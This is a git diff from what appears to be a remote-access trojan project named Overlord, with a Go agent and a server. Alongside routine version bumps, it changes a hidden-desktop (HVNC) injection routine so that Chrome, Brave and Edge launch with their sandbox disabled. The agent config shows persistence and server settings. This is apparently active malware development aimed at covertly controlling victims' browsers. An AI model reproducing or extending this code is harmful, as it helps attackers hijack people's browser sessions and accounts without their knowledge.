diff --git a/.gitignore b/.gitignore index a7a0c35..1a26eaa 100644 --- a/.gitignore +++ b/.gitignore @@ -478,4 +478,6 @@ FodyWeavers.xsd *.msi *.msix *.msm -*.msp \ No newline at end of file +*.msp +*.exp +*.lib \ No newline at end of file diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 3193bba..d232250 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -433,7 +433,16 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) ( if err != nil { return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) } - cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0") + args := " --window-position=0,0" + browserExes := map[string]bool{ + "chrome.exe": true, + "brave.exe": true, + "msedge.exe": true, + } + if browserExes[strings.ToLower(filepath.Base(filePath))] { + args += " --no-sandbox --allow-no-sandbox-job --disable-gpu" + } + cmdLine, err := syscall.UTF16FromString(filePath + args) if err != nil { return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err) } diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index d54adca..aa5d5cf 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -17,7 +17,7 @@ import ( "time" ) -var AgentVersion = "1.3.3" +var AgentVersion = "1.3.4" var DefaultPersistence = "false" var DefaultServerURL = "wss://127.0.0.1:5173" diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 69d036d..b46407d 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -1,6 +1,6 @@ { "name": "overlord-server", - "version": "1.3.3", + "version": "1.3.4", "private": true, "type": "module", "scripts": { diff --git a/Overlord-Server/src/version.ts b/Overlord-Server/src/version.ts index cf44470..81203a6 100644 --- a/Overlord-Server/src/version.ts +++ b/Overlord-Server/src/version.ts @@ -1 +1 @@ -export const SERVER_VERSION = "1.3.3"; +export const SERVER_VERSION = "1.3.4";